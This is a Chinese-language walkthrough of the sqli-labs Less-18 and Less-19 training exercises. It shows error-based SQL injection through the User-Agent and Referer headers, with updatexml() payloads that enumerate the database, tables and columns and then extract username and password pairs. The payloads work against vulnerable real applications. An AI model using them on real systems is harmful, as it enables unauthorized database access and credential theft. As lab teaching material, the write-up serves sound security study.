sqli-labs Less-18/ Less-19 POST-Header Injection

Less-18 POST-Header Injection-Uagent field-Error Based
POST方式,头部 User-Agent: 注入

Less-19 POST-Header Injection-Referer field-Error based
POST方式,头部 Referer: 注入

Less-18 / Less-19 方法一样,只是注入点不同,下面以Less-18为例说明

1. 页面分析

当登陆失败时,只会返回用户的IP地址及登陆失败的提示图。
sqli-labs Less-18/ Less-19 POST-Header Injection

当登陆成功时,会返回用户的IP地址、user-agent信息及登陆成功的提示图。
sqli-labs Less-18/ Less-19 POST-Header Injection

2. PHP代码分析

通过分析代码,Username, Password的参数进行了过滤,无法进行注入。
详细说明请参考Less-17中的说明,https://blog.****.net/bigblue00/article/details/108221236 )

代码中有插入语句:
$insert=“INSERT INTO security.uagents (uagent, ip_address, username) VALUES (‘$uagent‘, ‘$IP‘, $uname)”;将useragent和ip插入到数据库中,可以尝试利用这个来进行注入,首先这里要输入正确的账号和密码才能绕过账号密码判断,才能进入处理uagent部分。

3.测试注入点

在user-agent处加上单引号,返回的结果中出现了报错信息:
sqli-labs Less-18/ Less-19 POST-Header Injection

4.获取数据库信息

可尝试利用基于报错的注入方法,获取数据库信息:
4.1,获取数据库名:
先闭合insert语句,来判断一下,
user-agent处输入:1’,1,1,1)#
sqli-labs Less-18/ Less-19 POST-Header Injection

返回结果中提示:查询列数不匹配
sqli-labs Less-18/ Less-19 POST-Header Injection

改成1’,1,1)#后,返回正常,而且没有报错,说明成功绕过。也可以确定,insert传入的是3个参数。sqli-labs Less-18/ Less-19 POST-Header Injection

4.2、获取数据名
’ or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) , 1, 1) #
sqli-labs Less-18/ Less-19 POST-Header Injection

报错信息中返回数据库名:security
sqli-labs Less-18/ Less-19 POST-Header Injection

4.3、获取数据表
’ or updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1) , 1, 1) #
报出表名:users
sqli-labs Less-18/ Less-19 POST-Header Injection

4.4、获字段信息
’ or updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name=‘users’ limit 4,1),0x7e),1) , 1, 1) #
查询到username字段
sqli-labs Less-18/ Less-19 POST-Header Injection

’ or updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name=‘users’ limit 5,1),0x7e),1) , 1, 1) #
查询到password字段
sqli-labs Less-18/ Less-19 POST-Header Injection

4.5、获取username, password 数据

’ or updatexml(1,concat(0x7e,(SELECT concat(username,’|’,password) from users limit 0,1),0x7e),1) , 1, 1) #
sqli-labs Less-18/ Less-19 POST-Header Injection